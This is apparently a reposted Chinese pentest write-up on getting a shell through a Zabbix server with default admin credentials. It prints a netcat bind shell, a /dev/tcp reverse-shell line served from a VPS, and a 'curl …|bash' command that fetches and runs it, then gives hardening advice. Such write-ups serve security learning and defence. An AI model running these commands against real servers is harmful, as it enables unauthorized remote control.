记一次渗透测试过程中的Zabbix命令执行利用

Posted 疯猫网络

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次渗透测试过程中的Zabbix命令执行利用相关的知识,希望对你有一定的参考价值。


Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。管理员在安装配置Zabbix过程中,使用了弱口令或默认的用户名与口令(Admin/zabbix),这样,Zabbix服务器的用户认证就形同虚设。攻击者可以创建“system.run[command,]”监控项执行命令,甚至获取服务器shell,进行各种挖矿行为。

测试过程

下面是获取Zabbix Admin口令的情况下,如何获取服务器shell的过程。

  1.  在“管理–>脚本”页面中创建一个script,如下图:


记一次渗透测试过程中的Zabbix命令执行利用


“执行在”选择Zabbix 服务器,“命令”里输入:


mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 12345 > /tmp/tmp_fifo


意思是用nc在12345端口上绑定一个反弹shell。

2. 在“监测中–>问题”此界面点击一台服务器,随即会弹出一个“脚本”选项卡,点击上面创建的”nc shell”。


记一次渗透测试过程中的Zabbix命令执行利用


这样上面的命令就会被执行。但是,由于选择的这台服务器没有安装nc,导致命令执行不成功。既然没有安装nc,那就给这台服务器安装nc呗!


记一次渗透测试过程中的Zabbix命令执行利用


3.创建一个脚本,在命令里输入“yum –y install nc”,安装nc。


记一次渗透测试过程中的Zabbix命令执行利用


4.执行步骤3当中的脚本失败,显示需要root权限才能执行。


记一次渗透测试过程中的Zabbix命令执行利用


到这步,利用nc建立正向连接的shell是没戏了。

5.这时,在“配置–>主机”界面可以看到Zabbix服务器监控着Linux平台的服务器。


记一次渗透测试过程中的Zabbix命令执行利用


6.此时脑子回想着Linux服务器get shell的方法。既然能够命令执行,那我们是不是可以在一台服务器上开放一个特定的端口,构造好反弹shell的代码,只要有客户端连接此端口,那么客户端的shell就会反弹到我们那台服务器上。

7.OK,那按照上面思路先在一个VPS上搭建一个Web服务器,在网站根目录下创建一个index.html,内容如下:


sh -i >& /dev/tcp/52.**.***.78/12345 0>&1


意思是与52..*.78这台服务器的12345端口建立tcp连接,并将自己的shell反弹到此服务器。

8.在52..*.78这台服务器监听12345端口。


记一次渗透测试过程中的Zabbix命令执行利用


9.然后在Zabbix服务器上创建一个脚本,用于反弹shell的建立。


记一次渗透测试过程中的Zabbix命令执行利用


在命令里输入“curl 52..*.78|bash”。

执行上面的脚本


记一次渗透测试过程中的Zabbix命令执行利用


10.反弹shell建立成功。



zabbix安全加固

下面说一下如何对zabbix安全加固,防止这种情况发生:


1、很重要的一点,zabbix的登录口令一定要复杂,不要用默认口令或弱口令;

2、zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;

3、禁止agent执行system.run,不要设置EnableRemoteCommands=1。


以上是关于记一次渗透测试过程中的Zabbix命令执行利用的主要内容,如果未能解决你的问题,请参考以下文章

记一次由XSS一步一步获得服务器权限的渗透测试过程

网络安全记一次代码审计

网络安全记一次代码审计

技术讨论 | 记一次XSS蠕虫渗透实验

渗透测试之XSS漏洞:记一次模拟注入攻击

记一次网站渗透的漏洞挖掘记录